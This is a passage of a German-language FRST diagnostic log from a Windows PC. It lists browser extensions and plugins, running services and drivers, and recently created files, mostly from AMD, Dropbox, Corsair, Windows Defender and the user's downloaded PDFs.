FF DefaultProfile: tmkst93q.default-release -> 308046B0AF4A39CB
FF ProfilePath: C:\Users\Cheffe\AppData\Roaming\Mozilla\Firefox\Profiles\fz4r1cor.default [2024-12-06]
FF ProfilePath: C:\Users\Cheffe\AppData\Roaming\Mozilla\Firefox\Profiles\tmkst93q.default-release [2026-10-18]
FF Session Restore: Mozilla\Firefox\Profiles\tmkst93q.default-release -> ist aktiviert.
FF Extension: (Facebook Container) - C:\Users\Cheffe\AppData\Roaming\Mozilla\Firefox\Profiles\tmkst93q.default-release\Extensions\@contain-facebook.xpi [2025-04-15]
FF Extension: (Keepa - Amazon Price Tracker) - C:\Users\Cheffe\AppData\Roaming\Mozilla\Firefox\Profiles\tmkst93q.default-release\Extensions\amptra@keepa.com.xpi [2025-09-24]
FF Extension: (Bookmarks Organizer) - C:\Users\Cheffe\AppData\Roaming\Mozilla\Firefox\Profiles\tmkst93q.default-release\Extensions\bookmarksorganizer@agenedia.com.xpi [2024-12-06]
FF Extension: (Enpass Password Manager) - C:\Users\Cheffe\AppData\Roaming\Mozilla\Firefox\Profiles\tmkst93q.default-release\Extensions\firefox-enpass@enpass.io.xpi [2025-02-02] [UpdateUrl:hxxps://dl.enpass.io/stable/extensions/firefox/update-manifest/appcast.json]
FF Extension: (DuckDuckGo Search & Tracker Protection) - C:\Users\Cheffe\AppData\Roaming\Mozilla\Firefox\Profiles\tmkst93q.default-release\Extensions\jid1-ZAdIEUB7XOzOJw@jetpack.xpi [2026-10-18]
FF Extension: (Synology Image Assistant-Erweiterung) - C:\Users\Cheffe\AppData\Roaming\Mozilla\Firefox\Profiles\tmkst93q.default-release\Extensions\synofoto-extension@synology.com.xpi [2024-12-06]
FF Extension: (uBlock Origin) - C:\Users\Cheffe\AppData\Roaming\Mozilla\Firefox\Profiles\tmkst93q.default-release\Extensions\uBlock0@raymondhill.net.xpi [2025-12-05]
FF Extension: (Flagfox) - C:\Users\Cheffe\AppData\Roaming\Mozilla\Firefox\Profiles\tmkst93q.default-release\Extensions\{1018e4d6-728f-4b20-ad56-37578a4de76b}.xpi [2026-10-18]
FF Extension: (hide.me Proxy) - C:\Users\Cheffe\AppData\Roaming\Mozilla\Firefox\Profiles\tmkst93q.default-release\Extensions\{7079d3c5-b1a0-4964-8a7a-add0d2af8f52}.xpi [2026-10-18]
FF Extension: (Download Star) - C:\Users\Cheffe\AppData\Roaming\Mozilla\Firefox\Profiles\tmkst93q.default-release\Extensions\{8cc0b007-e40b-46e8-9e50-e3bf021c94ab}.xpi [2024-12-06]
FF Extension: (Video DownloadHelper) - C:\Users\Cheffe\AppData\Roaming\Mozilla\Firefox\Profiles\tmkst93q.default-release\Extensions\{b9db16a4-6edc-47ec-a1f4-b86292ed211d}.xpi [2025-12-05]
FF Extension: (Adblock Plus - kostenloser Adblocker) - C:\Users\Cheffe\AppData\Roaming\Mozilla\Firefox\Profiles\tmkst93q.default-release\Extensions\{d10d0bf8-f5b5-c8b4-a8b2-2b9879e08c5d}.xpi [2026-10-18]
FF Extension: (DownThemAll!) - C:\Users\Cheffe\AppData\Roaming\Mozilla\Firefox\Profiles\tmkst93q.default-release\Extensions\{DDC359D1-844A-42a7-9AA1-88A850A938A8}.xpi [2026-10-18]
FF Plugin: @videolan.org/vlc,version=3.0.21 -> C:\Program Files\VideoLAN\VLC\npvlc.dll [2024-06-08] (VideoLAN -> VideoLAN)
FF Plugin-x32: @java.com/DTPlugin,version=11.461.0 -> C:\Program Files (x86)\Java\jre1.8.0_461\bin\dtplugin\npDeployJava1.dll [2025-06-27] (Oracle America, Inc. -> Oracle Corporation)
FF Plugin-x32: @java.com/JavaPlugin,version=11.461.0 -> C:\Program Files (x86)\Java\jre1.8.0_461\bin\plugin2\npjp2.dll [2025-06-27] (Oracle America, Inc. -> Oracle Corporation)
Edge:
=======
Edge Profile: C:\Users\Cheffe\AppData\Local\Microsoft\Edge\User Data\Default [2026-07-10]
Edge Extension: (Google Docs Offline) - C:\Users\Cheffe\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi [2024-12-06]
Edge Extension: (Edge relevant text changes) - C:\Users\Cheffe\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha [2024-12-06]
==================== Dienste (Nicht auf der Ausnahmeliste) ===================
(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)
S2 brave; C:\Program Files (x86)\BraveSoftware\Update\BraveUpdate.exe [167440 2025-06-02] (Brave Software, Inc. -> BraveSoftware Inc.)
S3 BraveElevationService; C:\Program Files\BraveSoftware\Brave-Browser\Application\155.1.97.59\elevation_service.exe [5225552 2026-10-16] (Brave Software, Inc. -> Brave Software, Inc.)
S3 bravem; C:\Program Files (x86)\BraveSoftware\Update\BraveUpdate.exe [167440 2025-06-02] (Brave Software, Inc. -> BraveSoftware Inc.)
R3 CorsairCpuIdService; C:\Program Files\Corsair\Corsair iCUE5 Software\CorsairCpuIdService.exe [636056 2026-10-13] (Corsair Memory, Inc. -> Corsair Memory, Inc.)
S3 CorsairDeviceListerService; C:\Program Files\Corsair\Corsair iCUE5 Software\CorsairDeviceListerService.exe [368280 2026-10-13] (Corsair Memory, Inc. -> )
S2 dbupdate; C:\Program Files (x86)\Dropbox\Update\DropboxUpdate.exe [5898168 2026-06-24] (Dropbox, Inc -> Dropbox, Inc.)
S3 dbupdatem; C:\Program Files (x86)\Dropbox\Update\DropboxUpdate.exe [5898168 2026-06-24] (Dropbox, Inc -> Dropbox, Inc.)
R2 DbxSvc; C:\WINDOWS\System32\DbxSvc.exe [59048 2026-02-09] (Dropbox, Inc -> Dropbox, Inc.)
S3 DropboxElevationService; C:\Program Files (x86)\Dropbox\Client\275.4.3565\DropboxElevationService.exe [1659344 2026-10-13] (Dropbox, Inc -> Dropbox, Inc.)
S2 DropboxUpdaterInternalService123.0.6299.152; C:\Program Files\Dropbox\DropboxUpdater\123.0.6299.152\updater.exe [5898168 2026-06-24] (Dropbox, Inc -> Dropbox, Inc.)
S2 DropboxUpdaterService123.0.6299.152; C:\Program Files\Dropbox\DropboxUpdater\123.0.6299.152\updater.exe [5898168 2026-06-24] (Dropbox, Inc -> Dropbox, Inc.)
R2 EpSecuritySupport; C:\Program Files (x86)\Epson\Epson Printer Driver Security Support Tool\EpSecuritySupport.exe [280904 2025-06-19] (SEIKO EPSON CORPORATION -> Seiko Epson Corporation)
R2 EpsonScanSvc; C:\WINDOWS\system32\EscSvc64.exe [222768 2025-05-02] (SEIKO EPSON CORPORATION -> Seiko Epson Corporation)
R2 GameInputRedistService; C:\Program Files\Microsoft GameInput\x64\GameInputRedistService.exe [435328 2026-08-31] (Microsoft Corporation -> Windows (R) Win 7 DDK provider)
R2 hmevpnsvc; C:\Program Files (x86)\hide.me VPN\hidemesvc.exe [128120 2025-11-24] (eVenture Limited -> eVenture Limited)
R3 iCUEUpdateService; C:\Program Files\Corsair\Corsair iCUE5 Software\iCUEUpdateService.exe [759448 2026-10-13] (Corsair Memory, Inc. -> Corsair Memory, Inc.)
S3 LibreOfficeMaintenance; C:\Program Files\LibreOffice\program\update_service.exe [125352 2026-09-24] (The Document Foundation -> The Document Foundation)
R2 LogiSyncStub; C:\Program Files (x86)\Logitech\LogiSyncStub\LogiSyncStub.exe [2090096 2025-01-25] (Logitech Inc -> )
R2 MDCoreSvc; C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26090.9-0\MpDefenderCoreService.exe [2398680 2026-10-14] (Microsoft Windows Publisher -> Microsoft Corporation)
R2 MyEpson Portal Service; C:\Program Files (x86)\EPSON\MyEpson Portal\mepService.exe [714712 2017-06-28] (SEIKO EPSON CORPORATION -> Seiko Epson Corporation)
R2 NahimicService; C:\WINDOWS\system32\NahimicService.exe [1888424 2021-10-08] (A-Volute SAS -> Nahimic)
R2 PDF24; C:\Program Files\PDF24\pdf24.exe [641752 2025-01-13] (Geek Software GmbH -> geek software GmbH)
S3 Sense; C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe [914752 2026-09-09] (Microsoft Windows Publisher -> Microsoft Corporation)
R2 Synology Drive VSS Service x64; C:\Program Files\Synology\SynologyDrive\bin\vss-service-x64.exe [372968 2025-11-11] (Synology Inc. -> )
R2 TeamViewer; C:\Program Files\TeamViewer\TeamViewer_Service.exe [28290384 2026-09-21] (TeamViewer Germany GmbH -> TeamViewer Germany GmbH)
R2 tmAInstall; C:\Program Files\Thrustmaster\Hotas Warthog\drivers\amd64\tmAInstall.exe [38408 2018-03-01] (Guillemot Recherche et Développement, Inc -> Thrustmaster®)
R2 TmWinService; C:\Program Files (x86)\Thrustmaster\TARGET\TmService.exe [320544 2024-07-02] (Guillemot Corporation S.A. -> Guillemot Corporation)
R2 Tobii Service; C:\Program Files\Tobii\Tobii EyeX\Tobii.Service.exe [211368 2023-04-24] (Tobii AB -> Tobii AB)
R2 TobiiGeneric; C:\WINDOWS\System32\DriverStore\FileRepository\tobii_generic.inf_amd64_c21b62cacea99033\TobiiVirtualDevice.exe [320736 2020-11-17] (Tobii AB -> Tobii AB)
R2 TobiiIS5LEYETRACKER5; C:\WINDOWS\System32\DriverStore\FileRepository\eyetracker5.inf_amd64_a62d02618eb4f265\platform_runtime_IS5LEYETRACKER5_service.exe [19998560 2023-04-25] (Tobii AB -> )
R2 UsbClientService; C:\Program Files (x86)\Synology\Assistant\UsbClientService.exe [2002664 2025-07-14] (Synology Inc. -> )
R3 WdNisSvc; C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26090.9-0\NisSrv.exe [5555528 2026-10-14] (Microsoft Windows Publisher -> Microsoft Corporation)
R2 WinDefend; C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26090.9-0\MsMpEng.exe [378168 2026-10-14] (Microsoft Windows Publisher -> Microsoft Corporation)
R2 WireGuardManager; C:\Program Files\WireGuard\wireguard.exe [8185648 2021-12-22] (WireGuard LLC -> WireGuard LLC)
R2 WISOMeinGeld2025ProfessionalUpdatedienst; C:\Program Files (x86)\Buhl\WISO Mein Geld 2025\Buhl.MeinGeld.UpdateService.exe [120664 2025-05-23] (Buhl Data Service GmbH -> Buhl Data Service GmbH)
===================== Treiber (Nicht auf der Ausnahmeliste) ===================
(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)
R3 amdfendrmgr; C:\WINDOWS\System32\DriverStore\FileRepository\amdfendr.inf_amd64_bea53a1d416fbcfa\amdfendrmgr.sys [37272 2026-02-25] (Advanced Micro Devices -> Advanced Micro Devices, Inc.)
R2 AMDRyzenMasterDriverV28; \??\C:\WINDOWS\system32\AMDRyzenMasterDriver.sys [61832 2026-08-08] (Advanced Micro Devices -> )
R3 AMDSAFD; C:\WINDOWS\System32\DriverStore\FileRepository\amdsafd.inf_amd64_d4de13a10f2586d0\amdsafd.sys [112952 2024-06-15] (AMD Test Build -> Advanced Micro Devices)
S3 amduw23g; C:\WINDOWS\System32\DriverStore\FileRepository\u0413647.inf_amd64_d320f14af0da075c\B413137\amdkmdag.sys [111263168 2025-03-12] (Advanced Micro Devices -> Advanced Micro Devices, Inc.)
S3 amduw23g-196283-af4b12f4; C:\WINDOWS\System32\DriverStore\FileRepository\u0196283.inf_amd64_3979d16563294d92\B025522\amdkmdag.sys [101990416 2025-12-04] (Advanced Micro Devices -> Advanced Micro Devices, Inc.)
S3 amduw23g-197639-19a81ed0; C:\WINDOWS\System32\DriverStore\FileRepository\u0197639.inf_amd64_6e9872ffe0e526d3\B025646\amdkmdag.sys [102087184 2026-01-19] (Advanced Micro Devices -> Advanced Micro Devices, Inc.)
S3 amduw23g-198633-9d64603a; C:\WINDOWS\System32\DriverStore\FileRepository\u0198633.inf_amd64_f6ca42135bb94c90\B025777\amdkmdag.sys [102153864 2026-02-25] (Advanced Micro Devices -> Advanced Micro Devices, Inc.)
S3 amduw23g-201163-242f9a0a; C:\WINDOWS\System32\DriverStore\FileRepository\u0201163.inf_amd64_5a3558962e78d523\B026079\amdkmdag.sys [102213136 2026-05-29] (Advanced Micro Devices -> Advanced Micro Devices, Inc.)
R3 amduw23g-203303-6af680f4; C:\WINDOWS\System32\DriverStore\FileRepository\u0203303.inf_amd64_e5876a26758f154c\B026363\amdkmdag.sys [102772744 2026-08-18] (Advanced Micro Devices -> Advanced Micro Devices, Inc.)
S3 amduw23g-415182-9b12a908; C:\WINDOWS\System32\DriverStore\FileRepository\u0415182.inf_amd64_bacb8c8cee2fc393\B415056\amdkmdag.sys [100529592 2025-05-06] (Advanced Micro Devices -> Advanced Micro Devices, Inc.)
S3 amduw23g-415777-14b293e0; C:\WINDOWS\System32\DriverStore\FileRepository\u0415777.inf_amd64_691a25c67fff5b95\B415879\amdkmdag.sys [100539304 2025-05-28] (Advanced Micro Devices -> Advanced Micro Devices, Inc.)
S3 amduw23g-416003-55c70b53; C:\WINDOWS\System32\DriverStore\FileRepository\u0416003.inf_amd64_706cc64a85ddf686\B415817\amdkmdag.sys [100540816 2025-06-02] (Advanced Micro Devices -> Advanced Micro Devices, Inc.)
S3 amduw23g-417878-33000e3f; C:\WINDOWS\System32\DriverStore\FileRepository\u0417878.inf_amd64_cf56f0cbce08e931\B417693\amdkmdag.sys [101637624 2025-08-01] (Advanced Micro Devices -> Advanced Micro Devices, Inc.)
S3 amduw23g-418637-ef495aee; C:\WINDOWS\System32\DriverStore\FileRepository\u0418637.inf_amd64_4462a7afa694670e\B418564\amdkmdag.sys [101796328 2025-09-01] (Advanced Micro Devices -> Advanced Micro Devices, Inc.)
S3 amduw23g-420421-41d8ada4; C:\WINDOWS\System32\DriverStore\FileRepository\u0420421.inf_amd64_8465bc45599a509e\B419571\amdkmdag.sys [101886416 2025-10-27] (Advanced Micro Devices -> Advanced Micro Devices, Inc.)
R3 AMDXE; C:\WINDOWS\System32\drivers\amdxe.sys [63872 2025-09-30] (Advanced Micro Devices -> Advanced Micro Devices, Inc.)
S3 BTHMODEM; C:\WINDOWS\System32\drivers\bthmodem.sys [110592 2024-12-06] (Microsoft Corporation) [Datei ist nicht signiert]
R3 busenum; C:\WINDOWS\System32\drivers\busenum.sys [57824 2012-08-03] (Synology Inc. -> Windows (R) Win 7 DDK provider)
S3 Ccx01000; C:\WINDOWS\System32\drivers\Ccx01000.sys [692224 2026-10-14] (Microsoft Windows -> Microsoft Corporation)
R2 CorsairLLAccess8F050F5E415C1A5882EB9FF7CE2BC59B7BE3A953; \??\C:\Program Files\Corsair\Corsair iCUE5 Software\CorsairLLAccess64.sys [23616 2025-06-10] (Microsoft Windows Hardware Compatibility Publisher -> )
R3 CorsairVBusDriver; C:\WINDOWS\System32\drivers\CorsairVBusDriver.sys [47032 2026-08-11] (Microsoft Windows Hardware Compatibility Publisher -> Corsair)
R3 CorsairVHidDriver; C:\WINDOWS\System32\drivers\CorsairVHidDriver.sys [22968 2026-08-11] (Microsoft Windows Hardware Compatibility Publisher -> Corsair)
R3 cpuz160; \??\C:\ProgramData\CPUID Software\sdk\2aRDXiOWJ681B [44696 2026-10-18] (Microsoft Windows Hardware Compatibility Publisher -> )
R1 hideFirewall; C:\WINDOWS\System32\drivers\hideFirewall.sys [111768 2025-03-05] (Microsoft Windows Hardware Compatibility Publisher -> Windows (R) Win 7 DDK provider)
R3 KslD; C:\WINDOWS\System32\drivers\wd\KslD.sys [82968 2026-10-14] (Microsoft Windows -> Microsoft Corporation)
R3 Nahimic_Mirroring; C:\WINDOWS\System32\drivers\Nahimic_Mirroring.sys [94784 2022-06-03] (A-Volute SAS -> Windows (R) Win 7 DDK provider)
R3 rt25cx21; C:\WINDOWS\System32\DriverStore\FileRepository\rt25cx21x64.inf_amd64_6d0a87e4b66148bc\rt25cx21x64.sys [620472 2022-04-20] (Realtek Semiconductor Corp. -> Realtek)
S3 rt68cx21; C:\WINDOWS\System32\DriverStore\FileRepository\rt68cx21x64.inf_amd64_3ae4233b59b42991\rt68cx21x64.sys [620472 2022-04-20] (Realtek Semiconductor Corp. -> Realtek)
S3 rtcx21; C:\WINDOWS\System32\DriverStore\FileRepository\rtcx21x64.inf_amd64_feec7a9662e785f0\rtcx21x64.sys [539648 2024-03-28] (Microsoft Windows -> Realtek)
S3 tmabulk; C:\WINDOWS\System32\Drivers\tmabulk.sys [248328 2018-03-01] (Guillemot Recherche et Développement, Inc -> © Guillemot R&D, 2017. All rights reserved.)
R3 TmBusEn; C:\WINDOWS\System32\drivers\TmBusEn.sys [43088 2023-12-14] (Microsoft Windows Hardware Compatibility Publisher -> Guillemot Corporation)
R3 TmBusEn; C:\Windows\SysWOW64\drivers\TmBusEn.sys [43088 2023-12-14] (Microsoft Windows Hardware Compatibility Publisher -> Guillemot Corporation)
S3 TmFilter; C:\WINDOWS\System32\drivers\TmFilter.sys [70736 2023-12-14] (Microsoft Windows Hardware Compatibility Publisher -> Guillemot Corporation)
S3 TmFilter; C:\Windows\SysWOW64\drivers\TmFilter.sys [70736 2023-12-14] (Microsoft Windows Hardware Compatibility Publisher -> Guillemot Corporation)
S3 TmHid; C:\WINDOWS\system32\DRIVERS\TmHid.sys [49040 2023-12-14] (WDKTestCert plukidis,131540205154897060 -> Guillemot Corporation)
S3 TmHid; C:\Windows\SysWOW64\DRIVERS\TmHid.sys [49040 2023-12-14] (WDKTestCert plukidis,131540205154897060 -> Guillemot Corporation)
R1 veracrypt; C:\WINDOWS\System32\drivers\veracrypt.sys [639632 2025-01-23] (Microsoft Windows Hardware Compatibility Publisher -> IDRIX)
S4 WdAiNisDrv; C:\WINDOWS\System32\drivers\wd\WdAiNisDrv.sys [51224 2026-10-14] (Microsoft Windows -> Microsoft Corporation)
S0 WdBoot; C:\WINDOWS\System32\drivers\wd\WdBoot.sys [21632 2026-10-14] (Microsoft Windows Early Launch Anti-Malware Publisher -> Microsoft Corporation)
R0 WdFilter; C:\WINDOWS\System32\drivers\wd\WdFilter.sys [669712 2026-10-14] (Microsoft Windows -> Microsoft Corporation)
R3 WdNisDrv; C:\WINDOWS\System32\drivers\wd\WdNisDrv.sys [138264 2026-10-14] (Microsoft Windows -> Microsoft Corporation)
S3 WireGuard; C:\WINDOWS\System32\drivers\wireguard.sys [489368 2025-02-02] (Microsoft Windows Hardware Compatibility Publisher -> WireGuard LLC)
S3 cpuz159; \??\C:\WINDOWS\temp\cpuz159\cpuz159_x64.sys (Keine Datei) <==== ACHTUNG
S0 WinSetupMon; system32\DRIVERS\WinSetupMon.sys (Keine Datei)
==================== SvcHost (Nicht auf der Ausnahmeliste) ===================
(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)
==================== Ein Monat (erstellte) (Nicht auf der Ausnahmeliste) =========
(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Datei/der Ordner verschoben.)
2026-10-18 17:52 - 2026-10-18 17:52 - 000042492 _____ C:\Users\Cheffe\Downloads\FRST.txt
2026-10-18 17:51 - 2026-10-18 17:52 - 000000000 ____D C:\FRST
2026-10-18 17:50 - 2026-10-18 17:51 - 002456064 _____ (Farbar) C:\Users\Cheffe\Downloads\FRST64.exe
2026-10-18 17:45 - 2026-10-18 17:45 - 000002089 _____ C:\Users\Cheffe\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Firefox.lnk
2026-10-18 17:42 - 2026-10-18 17:42 - 000745754 _____ C:\WINDOWS\system32\perfh007.dat
2026-10-18 17:42 - 2026-10-18 17:42 - 000159450 _____ C:\WINDOWS\system32\perfc007.dat
2026-10-18 17:42 - 2026-10-18 17:42 - 000003108 _____ C:\WINDOWS\system32\Tasks\AMDInstallLauncher
2026-10-18 17:35 - 2026-10-18 17:35 - 000004346 _____ C:\Users\Cheffe\Desktop\scan.txt
2026-10-18 13:45 - 2026-10-18 13:45 - 000058582 _____ C:\Users\ralf\Downloads\Kosteninformation_Verkauf_5_St._A0RPWG_(ISHSIII-C.M.E.U.E.EO_ACC)_vom_18.10.2026_4F7557.pdf
2026-10-17 18:07 - 2026-10-17 18:07 - 067983693 _____ C:\Users\ralf\Downloads\9AKK108470A8247_de_C_Planning guide products and systems.pdf
2026-10-16 23:27 - 2026-10-16 23:27 - 000823859 _____ C:\Users\ralf\Downloads\Steng-Ax-Line-Track-System.pdf
2026-10-16 23:27 - 2026-10-16 23:27 - 000040975 _____ C:\Users\ralf\Downloads\Lightness-Pendel-montage.pdf
2026-10-15 23:35 - 2026-10-15 23:35 - 000267028 _____ C:\Users\ralf\Downloads\Luxafor Switch Manual.de.pdf
2026-10-15 23:33 - 2026-10-15 23:33 - 001081736 _____ C:\Users\ralf\Downloads\Luxafor Smart Button Manual.docx.pdf
2026-10-15 22:35 - 2026-10-17 18:06 - 000000000 ____D C:\Program Files\Mozilla Thunderbird
2026-10-14 23:51 - 2026-10-18 17:32 - 000000000 ____D C:\WINDOWS\CbsTemp
2026-10-14 17:27 - 2026-10-14 17:27 - 000091797 _____ C:\WINDOWS\SysWOW64\ctac.json
2026-10-14 17:27 - 2026-10-14 17:27 - 000091797 _____ C:\WINDOWS\system32\ctac.json
2026-10-14 17:27 - 2026-10-14 17:27 - 000039736 _____ C:\WINDOWS\SysWOW64\IntegratedServicesRegionPolicySet.json
2026-10-14 17:27 - 2026-10-14 17:27 - 000039736 _____ C:\WINDOWS\system32\IntegratedServicesRegionPolicySet.json
2026-10-14 17:27 - 2026-10-14 17:27 - 000004985 _____ C:\WINDOWS\system32\DeviceFeatureDDF.json
2026-10-14 17:26 - 2026-10-14 23:52 - 000000000 ____D C:\Program Files\Mozilla Firefox
2026-10-14 16:31 - 2026-10-14 16:31 - 000000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Dropbox
2026-10-13 14:54 - 2026-10-18 13:21 - 000003900 _____ C:\WINDOWS\system32\Tasks\AMD Install Manager - Install Updates
2026-10-12 21:46 - 2026-10-12 21:46 - 000917416 _____ C:\Users\ralf\Downloads\e3am8_chr_pds_en_6-v1.pdf
2026-10-12 21:40 - 2026-10-12 21:40 - 001987564 _____ C:\Users\ralf\Downloads\manual-756726-ledvance-electrical-ballast.pdf
2026-10-12 21:33 - 2026-10-12 21:33 - 000515287 _____ C:\Users\ralf\Downloads\asset-296460_334738_HALOTRONIC__Manual.pdf
2026-10-12 18:39 - 2026-10-12 18:39 - 000000000 ____D C:\Users\ralf\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Just Flight (MSFS 2024)
2026-10-12 18:29 - 2026-10-12 18:34 - 3039270522 _____ C:\Users\ralf\Downloads\Install_SCDF16_MSFS2024_1.1.6.zip
2026-10-12 18:18 - 2026-10-12 18:21 - 2571992962 _____ C:\Users\ralf\Downloads\DCDF15_MSFS2024_2.0.0.zip
2026-10-12 18:06 - 2026-10-12 18:06 - 000184026 _____ C:\Users\ralf\Downloads\_150010114023_EingangsbestätigungzuIhremAuftrag_20261009_b8125c4c357ab8fea83bb3d92f15330db12534be4db0bdc87dde7377c04637fa.pdf
2026-10-12 18:06 - 2026-10-12 18:06 - 000162045 _____ C:\Users\ralf\Downloads\_150010114023_VertragsbestätigungundAbschlagsplan_20261011_f48e89b0b3c0095e2fcbb44ef52bb3c1b7799d250647b11ab9a9a30bdb3c9cad.pdf
2026-10-12 18:03 - 2026-10-12 18:03 - 000118306 _____ C:\Users\ralf\Downloads\mXZ107k_.pdf
2026-10-12 18:03 - 2026-10-12 18:03 - 000112348 _____ C:\Users\ralf\Downloads\GDKaGNWv.pdf
2026-10-12 15:07 - 2026-10-12 15:07 - 000535028 _____ C:\Users\ralf\Downloads\6523_URxx-104_MBA_XX_V1-0_2CKA000073B5488_Rev_A-1.pdf
2026-10-10 12:50 - 2026-10-10 12:50 - 000535028 _____ C:\Users\ralf\Downloads\6523_URxx-104_MBA_XX_V1-0_2CKA000073B5488_Rev_A.pdf
2026-10-10 00:01 - 2026-10-10 00:01 - 000061729 _____ C:\Users\ralf\Downloads\flute-montage.pdf
2026-10-08 16:02 - 2026-10-08 16:02 - 000126776 _____ C:\Users\ralf\Downloads\10n2exNk.pdf
2026-10-06 18:15 - 2026-10-06 18:15 - 000148506 _____ C:\Users\ralf\Downloads\Finanzreport_Nr._09_per_01.10.2026_118FA3.pdf
2026-10-06 18:12 - 2026-10-06 18:12 - 000057749 _____ C:\Users\ralf\Downloads\earlybirdpraemie-tnb-bk.pdf
2026-10-06 16:32 - 2026-10-06 16:32 - 000002507 _____ C:\Users\ralf\Downloads\config_entry-androidtv_remote-01KHYE3855VM5JA4EDVJ8PN2XT(2).json
2026-10-05 17:53 - 2026-10-05 17:53 - 000000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AMDInstallManager
2026-10-02 18:08 - 2026-10-02 18:08 - 000097106 _____ C:\Users\ralf\Downloads\Wertpapierabrechnung_Kauf_20,807_St._A41WW6_(COMDIR.SPALW.S.S.E.UH.EOA)_vom_01.10.2026_A21ECF.pdf
2026-10-02 16:07 - 2026-10-02 16:07 - 000003484 _____ C:\WINDOWS\system32\Tasks\ModifyLinkUpdate
2026-10-02 16:07 - 2026-10-02 16:07 - 000003152 _____ C:\WINDOWS\system32\Tasks\StartCN
2026-10-02 16:07 - 2026-10-02 16:07 - 000003072 _____ C:\WINDOWS\system32\Tasks\StartDVR
2026-10-02 16:07 - 2026-10-02 16:07 - 000002622 _____ C:\WINDOWS\system32\Tasks\AMDRyzenMasterSDKTask
2026-10-02 16:07 - 2026-10-02 16:07 - 000000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AMD Software꞉ Adrenalin Edition
2026-10-02 16:07 - 2026-10-02 16:07 - 000000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AMD Bug Report Tool
2026-10-02 16:06 - 2026-08-18 07:11 - 005222408 _____ (Advanced Micro Devices, Inc.) C:\WINDOWS\system32\amdadlx64.dll
2026-10-02 16:06 - 2026-08-18 07:11 - 005009416 _____ (Advanced Micro Devices, Inc.) C:\WINDOWS\SysWOW64\amdadlx32.dll
2026-10-02 16:06 - 2026-08-18 07:11 - 002413576 _____ C:\WINDOWS\system32\vulkaninfo-1-999-0-0-0.exe
2026-10-02 16:06 - 2026-08-18 07:11 - 002413576 _____ C:\WINDOWS\system32\vulkaninfo.exe
2026-10-02 16:06 - 2026-08-18 07:11 - 002194960 _____ (Advanced Micro Devices, Inc.) C:\WINDOWS\system32\atiadlxx.dll
2026-10-02 16:06 - 2026-08-18 07:11 - 001918992 _____ C:\WINDOWS\SysWOW64\vulkaninfo-1-999-0-0-0.exe
2026-10-02 16:06 - 2026-08-18 07:11 - 001918992 _____ C:\WINDOWS\SysWOW64\vulkaninfo.exe
2026-10-02 16:06 - 2026-08-18 07:11 - 001832464 _____ (Advanced Micro Devices, Inc.) C:\WINDOWS\SysWOW64\atiadlxy.dll
2026-10-02 16:06 - 2026-08-18 07:11 - 001832464 _____ (Advanced Micro Devices, Inc.) C:\WINDOWS\SysWOW64\atiadlxx.dll
2026-10-02 16:06 - 2026-08-18 07:11 - 001724592 _____ (AMD) C:\WINDOWS\system32\amf-mft-mjpeg-decoder64.dll
2026-10-02 16:06 - 2026-08-18 07:11 - 001402048 _____ (AMD) C:\WINDOWS\SysWOW64\amf-mft-mjpeg-decoder32.dll
2026-10-02 16:06 - 2026-08-18 07:11 - 001329160 _____ (Advanced Micro Devices, Inc.) C:\WINDOWS\system32\amdsasrv64.dll
2026-10-02 16:06 - 2026-08-18 07:11 - 001184272 _____ (Advanced Micro Devices, Inc.) C:\WINDOWS\system32\amdlvr64.dll
2026-10-02 16:06 - 2026-08-18 07:11 - 001069584 _____ (AMD) C:\WINDOWS\system32\atieclxx.exe
2026-10-02 16:06 - 2026-08-18 07:11 - 000998416 _____ (Advanced Micro Devices, Inc.) C:\WINDOWS\SysWOW64\amdlvr32.dll
2026-10-02 16:06 - 2026-08-18 07:11 - 000801808 _____ (Advanced Micro Devices, Inc.) C:\WINDOWS\system32\Rapidfire64.dll
2026-10-02 16:06 - 2026-08-18 07:11 - 000631304 _____ C:\WINDOWS\system32\GameManager64.dll
2026-10-02 16:06 - 2026-08-18 07:11 - 000592400 _____ C:\WINDOWS\system32\amdgfxinfo64.dll
2026-10-02 16:06 - 2026-08-18 07:11 - 000559632 _____ C:\WINDOWS\system32\atieah64.exe
2026-10-02 16:06 - 2026-08-18 07:11 - 000543248 _____ (Advanced Micro Devices, Inc.) C:\WINDOWS\SysWOW64\amdsacli32.dll
2026-10-02 16:06 - 2026-08-18 07:11 - 000526352 _____ C:\WINDOWS\system32\EEURestart.exe
2026-10-02 16:06 - 2026-08-18 07:11 - 000479248 _____ C:\WINDOWS\SysWOW64\GameManager32.dll
2026-10-02 16:06 - 2026-08-18 07:11 - 000473616 _____ (Advanced Micro Devices, Inc.) C:\WINDOWS\system32\atidemgy.dll
2026-10-02 16:06 - 2026-08-18 07:11 - 000450064 _____ C:\WINDOWS\SysWOW64\amdgfxinfo32.dll
2026-10-02 16:06 - 2026-08-18 07:11 - 000422416 _____ C:\WINDOWS\SysWOW64\atieah32.exe
2026-10-02 16:06 - 2026-08-18 07:11 - 000200712 _____ (AMD) C:\WINDOWS\system32\atimuixx.dll
2026-10-02 16:06 - 2026-08-18 07:11 - 000190992 _____ (Advanced Micro Devices, Inc. ) C:\WINDOWS\system32\atisamu64.dll
2026-10-02 16:06 - 2026-08-18 07:11 - 000158960 _____ (Advanced Micro Devices, Inc. ) C:\WINDOWS\system32\atimpc64.dll
